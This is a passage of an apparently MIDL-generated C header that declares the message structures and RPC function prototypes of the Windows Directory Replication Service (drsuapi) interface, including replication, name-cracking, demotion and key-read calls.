__MIDL_drsuapi_0107\r\n    {\r\n    /* [case()] */ DRS_MSG_MOVEREQ_V1 V1;\r\n    /* [case()] */ DRS_MSG_MOVEREQ_V2 V2;\r\n    } \tDRS_MSG_MOVEREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0108\r\n    {\r\n    ENTINF **ppResult;\r\n    SCHEMA_PREFIX_TABLE PrefixTable;\r\n    ULONG *pError;\r\n    } \tDRS_MSG_MOVEREPLY_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0109\r\n    {\r\n    ULONG win32Error;\r\n    /* [unique] */ DSNAME *pAddedName;\r\n    } \tDRS_MSG_MOVEREPLY_V2;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0110\r\n    {\r\n    /* [case()] */ DRS_MSG_MOVEREPLY_V1 V1;\r\n    /* [case()] */ DRS_MSG_MOVEREPLY_V2 V2;\r\n    } \tDRS_MSG_MOVEREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0111\r\n    {\r\n    ULONG CodePage;\r\n    ULONG LocaleId;\r\n    DWORD dwFlags;\r\n    DWORD formatOffered;\r\n    DWORD formatDesired;\r\n    /* [range] */ DWORD cNames;\r\n    /* [size_is][string] */ WCHAR **rpNames;\r\n    } \tDRS_MSG_CRACKREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0112\r\n    {\r\n    /* [case()] */ DRS_MSG_CRACKREQ_V1 V1;\r\n    } \tDRS_MSG_CRACKREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0113\r\n    {\r\n    DS_NAME_RESULTW *pResult;\r\n    } \tDRS_MSG_CRACKREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0114\r\n    {\r\n    /* [case()] */ DRS_MSG_CRACKREPLY_V1 V1;\r\n    } \tDRS_MSG_CRACKREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0115\r\n    {\r\n    DWORD dwFlags;\r\n    DWORD PreferredMaximumLength;\r\n    /* [range] */ DWORD cbRestart;\r\n    /* [size_is] */ BYTE *pRestart;\r\n    } \tDRS_MSG_NT4_CHGLOG_REQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0116\r\n    {\r\n    /* [case()] */ DRS_MSG_NT4_CHGLOG_REQ_V1 V1;\r\n    } \tDRS_MSG_NT4_CHGLOG_REQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0117\r\n    {\r\n    LARGE_INTEGER SamSerialNumber;\r\n    LARGE_INTEGER SamCreationTime;\r\n    LARGE_INTEGER BuiltinSerialNumber;\r\n    LARGE_INTEGER BuiltinCreationTime;\r\n    LARGE_INTEGER LsaSerialNumber;\r\n    LARGE_INTEGER LsaCreationTime;\r\n    } \tNT4_REPLICATION_STATE;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0118\r\n    {\r\n    /* [range] */ DWORD cbRestart;\r\n    /* [range] */ DWORD cbLog;\r\n    NT4_REPLICATION_STATE ReplicationState;\r\n    DWORD ActualNtStatus;\r\n    /* [size_is] */ BYTE *pRestart;\r\n    /* [size_is] */ BYTE *pLog;\r\n    } \tDRS_MSG_NT4_CHGLOG_REPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0119\r\n    {\r\n    /* [case()] */ DRS_MSG_NT4_CHGLOG_REPLY_V1 V1;\r\n    } \tDRS_MSG_NT4_CHGLOG_REPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0120\r\n    {\r\n    DWORD operation;\r\n    DWORD flags;\r\n    /* [string] */ const WCHAR *pwszAccount;\r\n    /* [range] */ DWORD cSPN;\r\n    /* [size_is][string] */ const WCHAR **rpwszSPN;\r\n    } \tDRS_MSG_SPNREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0121\r\n    {\r\n    /* [case()] */ DRS_MSG_SPNREQ_V1 V1;\r\n    } \tDRS_MSG_SPNREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0122\r\n    {\r\n    DWORD retVal;\r\n    } \tDRS_MSG_SPNREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0123\r\n    {\r\n    /* [case()] */ DRS_MSG_SPNREPLY_V1 V1;\r\n    } \tDRS_MSG_SPNREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0124\r\n    {\r\n    /* [string] */ LPWSTR ServerDN;\r\n    /* [string] */ LPWSTR DomainDN;\r\n    BOOL fCommit;\r\n    } \tDRS_MSG_RMSVRREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0125\r\n    {\r\n    /* [case()] */ DRS_MSG_RMSVRREQ_V1 V1;\r\n    } \tDRS_MSG_RMSVRREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0126\r\n    {\r\n    BOOL fLastDcInDomain;\r\n    } \tDRS_MSG_RMSVRREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0127\r\n    {\r\n    /* [case()] */ DRS_MSG_RMSVRREPLY_V1 V1;\r\n    } \tDRS_MSG_RMSVRREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0128\r\n    {\r\n    /* [string] */ LPWSTR DomainDN;\r\n    } \tDRS_MSG_RMDMNREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0129\r\n    {\r\n    /* [case()] */ DRS_MSG_RMDMNREQ_V1 V1;\r\n    } \tDRS_MSG_RMDMNREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0130\r\n    {\r\n    DWORD Reserved;\r\n    } \tDRS_MSG_RMDMNREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0131\r\n    {\r\n    /* [case()] */ DRS_MSG_RMDMNREPLY_V1 V1;\r\n    } \tDRS_MSG_RMDMNREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0132\r\n    {\r\n    /* [string] */ WCHAR *Domain;\r\n    DWORD InfoLevel;\r\n    } \tDRS_MSG_DCINFOREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0133\r\n    {\r\n    /* [case()] */ DRS_MSG_DCINFOREQ_V1 V1;\r\n    } \tDRS_MSG_DCINFOREQ;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0133 *PDRS_MSG_DCINFOREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0134\r\n    {\r\n    /* [range] */ DWORD cItems;\r\n    /* [size_is] */ DS_DOMAIN_CONTROLLER_INFO_1W *rItems;\r\n    } \tDRS_MSG_DCINFOREPLY_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0135\r\n    {\r\n    /* [range] */ DWORD cItems;\r\n    /* [size_is] */ DS_DOMAIN_CONTROLLER_INFO_2W *rItems;\r\n    } \tDRS_MSG_DCINFOREPLY_V2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0136\r\n    {\r\n    /* [range] */ DWORD cItems;\r\n    /* [size_is] */ DS_DOMAIN_CONTROLLER_INFO_3W *rItems;\r\n    } \tDRS_MSG_DCINFOREPLY_V3;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0137\r\n    {\r\n    /* [range] */ DWORD cItems;\r\n    /* [size_is] */ DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW *rItems;\r\n    } \tDRS_MSG_DCINFOREPLY_VFFFFFFFF;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0138\r\n    {\r\n    /* [case()] */ DRS_MSG_DCINFOREPLY_V1 V1;\r\n    /* [case()] */ DRS_MSG_DCINFOREPLY_V2 V2;\r\n    /* [case()] */ DRS_MSG_DCINFOREPLY_V3 V3;\r\n    /* [case()] */ DRS_MSG_DCINFOREPLY_VFFFFFFFF VFFFFFFFF;\r\n    } \tDRS_MSG_DCINFOREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0139\r\n    {\r\n    /* [ref] */ DSNAME *pObject;\r\n    ATTRBLOCK AttrBlock;\r\n    } \tDRS_MSG_ADDENTRYREQ_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0140\r\n    {\r\n    ENTINFLIST EntInfList;\r\n    } \tDRS_MSG_ADDENTRYREQ_V2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0141\r\n    {\r\n    ENTINFLIST EntInfList;\r\n    DRS_SecBufferDesc *pClientCreds;\r\n    } \tDRS_MSG_ADDENTRYREQ_V3;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0142\r\n    {\r\n    /* [case()] */ DRS_MSG_ADDENTRYREQ_V1 V1;\r\n    /* [case()] */ DRS_MSG_ADDENTRYREQ_V2 V2;\r\n    /* [case()] */ DRS_MSG_ADDENTRYREQ_V3 V3;\r\n    } \tDRS_MSG_ADDENTRYREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0143\r\n    {\r\n    GUID Guid;\r\n    NT4SID Sid;\r\n    DWORD errCode;\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    } \tDRS_MSG_ADDENTRYREPLY_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0144\r\n    {\r\n    GUID objGuid;\r\n    NT4SID objSid;\r\n    } \tADDENTRY_REPLY_INFO;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0145\r\n    {\r\n    /* [unique] */ DSNAME *pErrorObject;\r\n    DWORD errCode;\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    /* [range] */ ULONG cObjectsAdded;\r\n    /* [size_is] */ ADDENTRY_REPLY_INFO *infoList;\r\n    } \tDRS_MSG_ADDENTRYREPLY_V2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0146\r\n    {\r\n    DWORD dwRepError;\r\n    DWORD errCode;\r\n    /* [switch_is] */ DIRERR_DRS_WIRE_V1 *pErrInfo;\r\n    } \tDRS_ERROR_DATA_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0147\r\n    {\r\n    /* [case()] */ DRS_ERROR_DATA_V1 V1;\r\n    } \tDRS_ERROR_DATA;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0148\r\n    {\r\n    DSNAME *pdsErrObject;\r\n    DWORD dwErrVer;\r\n    /* [switch_is] */ DRS_ERROR_DATA *pErrData;\r\n    /* [range] */ ULONG cObjectsAdded;\r\n    /* [size_is] */ ADDENTRY_REPLY_INFO *infoList;\r\n    } \tDRS_MSG_ADDENTRYREPLY_V3;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0149\r\n    {\r\n    /* [case()] */ DRS_MSG_ADDENTRYREPLY_V1 V1;\r\n    /* [case()] */ DRS_MSG_ADDENTRYREPLY_V2 V2;\r\n    /* [case()] */ DRS_MSG_ADDENTRYREPLY_V3 V3;\r\n    } \tDRS_MSG_ADDENTRYREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0150\r\n    {\r\n    DWORD dwTaskID;\r\n    DWORD dwFlags;\r\n    } \tDRS_MSG_KCC_EXECUTE_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0151\r\n    {\r\n    /* [case()] */ DRS_MSG_KCC_EXECUTE_V1 V1;\r\n    } \tDRS_MSG_KCC_EXECUTE;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0152\r\n    {\r\n    ULONGLONG hCtx;\r\n    LONG lReferenceCount;\r\n    BOOL fIsBound;\r\n    UUID uuidClient;\r\n    DSTIME timeLastUsed;\r\n    ULONG IPAddr;\r\n    int pid;\r\n    } \tDS_REPL_CLIENT_CONTEXT;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0153\r\n    {\r\n    /* [range] */ DWORD cNumContexts;\r\n    DWORD dwReserved;\r\n    /* [size_is] */ DS_REPL_CLIENT_CONTEXT rgContext[ 1 ];\r\n    } \tDS_REPL_CLIENT_CONTEXTS;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0154\r\n    {\r\n    /* [string] */ LPWSTR pszServerName;\r\n    BOOL fIsHandleBound;\r\n    BOOL fIsHandleFromCache;\r\n    BOOL fIsHandleInCache;\r\n    DWORD dwThreadId;\r\n    DWORD dwBindingTimeoutMins;\r\n    DSTIME dstimeCreated;\r\n    DWORD dwCallType;\r\n    } \tDS_REPL_SERVER_OUTGOING_CALL;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0155\r\n    {\r\n    /* [range] */ DWORD cNumCalls;\r\n    DWORD dwReserved;\r\n    /* [size_is] */ DS_REPL_SERVER_OUTGOING_CALL rgCall[ 1 ];\r\n    } \tDS_REPL_SERVER_OUTGOING_CALLS;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0156\r\n    {\r\n    DWORD InfoType;\r\n    /* [string] */ LPWSTR pszObjectDN;\r\n    UUID uuidSourceDsaObjGuid;\r\n    } \tDRS_MSG_GETREPLINFO_REQ_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0157\r\n    {\r\n    DWORD InfoType;\r\n    /* [string] */ LPWSTR pszObjectDN;\r\n    UUID uuidSourceDsaObjGuid;\r\n    DWORD ulFlags;\r\n    /* [string] */ LPWSTR pszAttributeName;\r\n    /* [string] */ LPWSTR pszValueDN;\r\n    DWORD dwEnumerationContext;\r\n    } \tDRS_MSG_GETREPLINFO_REQ_V2;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0158\r\n    {\r\n    /* [case()] */ DRS_MSG_GETREPLINFO_REQ_V1 V1;\r\n    /* [case()] */ DRS_MSG_GETREPLINFO_REQ_V2 V2;\r\n    } \tDRS_MSG_GETREPLINFO_REQ;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0159\r\n    {\r\n    /* [case()] */ DS_REPL_NEIGHBORSW *pNeighbors;\r\n    /* [case()] */ DS_REPL_CURSORS *pCursors;\r\n    /* [case()] */ DS_REPL_OBJ_META_DATA *pObjMetaData;\r\n    /* [case()] */ DS_REPL_KCC_DSA_FAILURESW *pConnectFailures;\r\n    /* [case()] */ DS_REPL_KCC_DSA_FAILURESW *pLinkFailures;\r\n    /* [case()] */ DS_REPL_PENDING_OPSW *pPendingOps;\r\n    /* [case()] */ DS_REPL_ATTR_VALUE_META_DATA *pAttrValueMetaData;\r\n    /* [case()] */ DS_REPL_CURSORS_2 *pCursors2;\r\n    /* [case()] */ DS_REPL_CURSORS_3W *pCursors3;\r\n    /* [case()] */ DS_REPL_OBJ_META_DATA_2 *pObjMetaData2;\r\n    /* [case()] */ DS_REPL_ATTR_VALUE_META_DATA_2 *pAttrValueMetaData2;\r\n    /* [case()] */ DS_REPL_SERVER_OUTGOING_CALLS *pServerOutgoingCalls;\r\n    /* [case()] */ UPTODATE_VECTOR_V1_EXT *pUpToDateVec;\r\n    /* [case()] */ DS_REPL_CLIENT_CONTEXTS *pClientContexts;\r\n    /* [case()] */ DS_REPL_NEIGHBORSW *pRepsTo;\r\n    } \tDRS_MSG_GETREPLINFO_REPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0160\r\n    {\r\n    DWORD Flags;\r\n    /* [string] */ WCHAR *SrcDomain;\r\n    /* [string] */ WCHAR *SrcPrincipal;\r\n    /* [full][string] */ WCHAR *SrcDomainController;\r\n    /* [range] */ DWORD SrcCredsUserLength;\r\n    /* [size_is] */ WCHAR *SrcCredsUser;\r\n    /* [range] */ DWORD SrcCredsDomainLength;\r\n    /* [size_is] */ WCHAR *SrcCredsDomain;\r\n    /* [range] */ DWORD SrcCredsPasswordLength;\r\n    /* [size_is] */ WCHAR *SrcCredsPassword;\r\n    /* [string] */ WCHAR *DstDomain;\r\n    /* [string] */ WCHAR *DstPrincipal;\r\n    } \tDRS_MSG_ADDSIDREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0161\r\n    {\r\n    /* [case()] */ DRS_MSG_ADDSIDREQ_V1 V1;\r\n    } \tDRS_MSG_ADDSIDREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0162\r\n    {\r\n    DWORD dwWin32Error;\r\n    } \tDRS_MSG_ADDSIDREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0163\r\n    {\r\n    /* [case()] */ DRS_MSG_ADDSIDREPLY_V1 V1;\r\n    } \tDRS_MSG_ADDSIDREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0164\r\n    {\r\n    /* [range] */ ULONG Count;\r\n    /* [size_is] */ DRS_MSG_REVMEMB_REQ_V1 *Requests;\r\n    } \tDRS_MSG_GETMEMBERSHIPS2_REQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0165\r\n    {\r\n    /* [case()] */ DRS_MSG_GETMEMBERSHIPS2_REQ_V1 V1;\r\n    } \tDRS_MSG_GETMEMBERSHIPS2_REQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0166\r\n    {\r\n    /* [range] */ ULONG Count;\r\n    /* [size_is] */ DRS_MSG_REVMEMB_REPLY_V1 *Replies;\r\n    } \tDRS_MSG_GETMEMBERSHIPS2_REPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0167\r\n    {\r\n    /* [case()] */ DRS_MSG_GETMEMBERSHIPS2_REPLY_V1 V1;\r\n    } \tDRS_MSG_GETMEMBERSHIPS2_REPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0168\r\n    {\r\n    /* [ref] */ DSNAME *pNC;\r\n    UUID uuidDsaSrc;\r\n    ULONG ulOptions;\r\n    } \tDRS_MSG_REPVERIFYOBJ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0169\r\n    {\r\n    /* [case()] */ DRS_MSG_REPVERIFYOBJ_V1 V1;\r\n    } \tDRS_MSG_REPVERIFYOBJ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0170\r\n    {\r\n    UUID guidStart;\r\n    DWORD cGuids;\r\n    DSNAME *pNC;\r\n    UPTODATE_VECTOR_V1_EXT *pUpToDateVecCommonV1;\r\n    UCHAR Md5Digest[ 16 ];\r\n    } \tDRS_MSG_EXISTREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0171\r\n    {\r\n    /* [case()] */ DRS_MSG_EXISTREQ_V1 V1;\r\n    } \tDRS_MSG_EXISTREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0172\r\n    {\r\n    DWORD dwStatusFlags;\r\n    /* [range] */ DWORD cNumGuids;\r\n    /* [size_is] */ UUID *rgGuids;\r\n    } \tDRS_MSG_EXISTREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0173\r\n    {\r\n    /* [case()] */ DRS_MSG_EXISTREPLY_V1 V1;\r\n    } \tDRS_MSG_EXISTREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0174\r\n    {\r\n    /* [string] */ const WCHAR *pwszFromSite;\r\n    /* [range] */ DWORD cToSites;\r\n    /* [size_is][string] */ WCHAR **rgszToSites;\r\n    DWORD dwFlags;\r\n    } \tDRS_MSG_QUERYSITESREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0175\r\n    {\r\n    /* [case()] */ DRS_MSG_QUERYSITESREQ_V1 V1;\r\n    } \tDRS_MSG_QUERYSITESREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0176\r\n    {\r\n    DWORD dwErrorCode;\r\n    DWORD dwCost;\r\n    } \tDRS_MSG_QUERYSITESREPLYELEMENT_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0177\r\n    {\r\n    /* [range] */ DWORD cToSites;\r\n    /* [size_is] */ DRS_MSG_QUERYSITESREPLYELEMENT_V1 *rgCostInfo;\r\n    DWORD dwFlags;\r\n    } \tDRS_MSG_QUERYSITESREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0178\r\n    {\r\n    /* [case()] */ DRS_MSG_QUERYSITESREPLY_V1 V1;\r\n    } \tDRS_MSG_QUERYSITESREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0179\r\n    {\r\n    DWORD dwReserved;\r\n    } \tDRS_MSG_INIT_DEMOTIONREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0180\r\n    {\r\n    /* [case()] */ DRS_MSG_INIT_DEMOTIONREQ_V1 V1;\r\n    } \tDRS_MSG_INIT_DEMOTIONREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0181\r\n    {\r\n    DWORD dwOpError;\r\n    } \tDRS_MSG_INIT_DEMOTIONREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0182\r\n    {\r\n    /* [case()] */ DRS_MSG_INIT_DEMOTIONREPLY_V1 V1;\r\n    } \tDRS_MSG_INIT_DEMOTIONREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0183\r\n    {\r\n    DWORD dwFlags;\r\n    UUID uuidHelperDest;\r\n    /* [ref] */ DSNAME *pNC;\r\n    } \tDRS_MSG_REPLICA_DEMOTIONREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0184\r\n    {\r\n    /* [case()] */ DRS_MSG_REPLICA_DEMOTIONREQ_V1 V1;\r\n    } \tDRS_MSG_REPLICA_DEMOTIONREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0185\r\n    {\r\n    DWORD dwOpError;\r\n    } \tDRS_MSG_REPLICA_DEMOTIONREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0186\r\n    {\r\n    /* [case()] */ DRS_MSG_REPLICA_DEMOTIONREPLY_V1 V1;\r\n    } \tDRS_MSG_REPLICA_DEMOTIONREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0187\r\n    {\r\n    DWORD dwOperations;\r\n    UUID uuidHelperDest;\r\n    /* [string] */ LPWSTR szScriptBase;\r\n    } \tDRS_MSG_FINISH_DEMOTIONREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0188\r\n    {\r\n    /* [case()] */ DRS_MSG_FINISH_DEMOTIONREQ_V1 V1;\r\n    } \tDRS_MSG_FINISH_DEMOTIONREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0189\r\n    {\r\n    DWORD dwOperationsDone;\r\n    DWORD dwOpFailed;\r\n    DWORD dwOpError;\r\n    } \tDRS_MSG_FINISH_DEMOTIONREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0190\r\n    {\r\n    /* [case()] */ DRS_MSG_FINISH_DEMOTIONREPLY_V1 V1;\r\n    } \tDRS_MSG_FINISH_DEMOTIONREPLY;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0191\r\n    {\r\n    /* [string] */ const WCHAR *pwszCloneDCName;\r\n    /* [string] */ const WCHAR *pwszSite;\r\n    } \tDRS_MSG_ADDCLONEDCREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0192\r\n    {\r\n    /* [case()] */ DRS_MSG_ADDCLONEDCREQ_V1 V1;\r\n    } \tDRS_MSG_ADDCLONEDCREQ;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0193\r\n    {\r\n    /* [string] */ WCHAR *pwszCloneDCName;\r\n    /* [string] */ WCHAR *pwszSite;\r\n    /* [range] */ DWORD cPasswordLength;\r\n    /* [size_is] */ WCHAR *pwsNewDCAccountPassword;\r\n    } \tDRS_MSG_ADDCLONEDCREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0194\r\n    {\r\n    /* [case()] */ DRS_MSG_ADDCLONEDCREPLY_V1 V1;\r\n    } \tDRS_MSG_ADDCLONEDCREPLY;\r\n\r\ntypedef struct _DRS_MSG_WRITENGCKEYREQ_V1\r\n    {\r\n    /* [string] */ const WCHAR *pwszAccount;\r\n    /* [range] */ DWORD cNgcKey;\r\n    /* [size_is] */ UCHAR *pNgcKey;\r\n    } \tDRS_MSG_WRITENGCKEYREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0195\r\n    {\r\n    /* [case()] */ DRS_MSG_WRITENGCKEYREQ_V1 V1;\r\n    } \tDRS_MSG_WRITENGCKEYREQ;\r\n\r\ntypedef struct _DRS_MSG_WRITENGCKEYREPLY_V1\r\n    {\r\n    DWORD retVal;\r\n    } \tDRS_MSG_WRITENGCKEYREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0196\r\n    {\r\n    /* [case()] */ DRS_MSG_WRITENGCKEYREPLY_V1 V1;\r\n    } \tDRS_MSG_WRITENGCKEYREPLY;\r\n\r\ntypedef struct _DRS_MSG_READNGCKEYREQ_V1\r\n    {\r\n    /* [string] */ const WCHAR *pwszAccount;\r\n    } \tDRS_MSG_READNGCKEYREQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0197\r\n    {\r\n    /* [case()] */ DRS_MSG_READNGCKEYREQ_V1 V1;\r\n    } \tDRS_MSG_READNGCKEYREQ;\r\n\r\ntypedef struct _DRS_MSG_READNGCKEYREPLY_V1\r\n    {\r\n    DWORD retVal;\r\n    /* [range] */ DWORD cNgcKey;\r\n    /* [size_is] */ UCHAR *pNgcKey;\r\n    } \tDRS_MSG_READNGCKEYREPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_drsuapi_0198\r\n    {\r\n    /* [case()] */ DRS_MSG_READNGCKEYREPLY_V1 V1;\r\n    } \tDRS_MSG_READNGCKEYREPLY;\r\n\r\nULONG IDL_DRSBind( \r\n    /* [in] */ handle_t rpc_handle,\r\n    /* [unique][in] */ UUID *puuidClientDsa,\r\n    /* [unique][in] */ DRS_EXTENSIONS *pextClient,\r\n    /* [out] */ DRS_EXTENSIONS **ppextServer,\r\n    /* [ref][out] */ DRS_HANDLE *phDrs);\r\n\r\nULONG IDL_DRSUnbind( \r\n    /* [ref][out][in] */ DRS_HANDLE *phDrs);\r\n\r\nULONG IDL_DRSReplicaSync( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_REPSYNC *pmsgSync);\r\n\r\nULONG IDL_DRSGetNCChanges( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_GETCHGREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_GETCHGREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSUpdateRefs( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_UPDREFS *pmsgUpdRefs);\r\n\r\nULONG IDL_DRSReplicaAdd( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_REPADD *pmsgAdd);\r\n\r\nULONG IDL_DRSReplicaDel( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_REPDEL *pmsgDel);\r\n\r\nULONG IDL_DRSReplicaModify( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_REPMOD *pmsgMod);\r\n\r\nULONG IDL_DRSVerifyNames( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_VERIFYREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_VERIFYREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSGetMemberships( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_REVMEMB_REQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_REVMEMB_REPLY *pmsgOut);\r\n\r\nULONG IDL_DRSInterDomainMove( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_MOVEREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_MOVEREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSGetNT4ChangeLog( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_NT4_CHGLOG_REQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_NT4_CHGLOG_REPLY *pmsgOut);\r\n\r\nULONG IDL_DRSCrackNames( \r\n  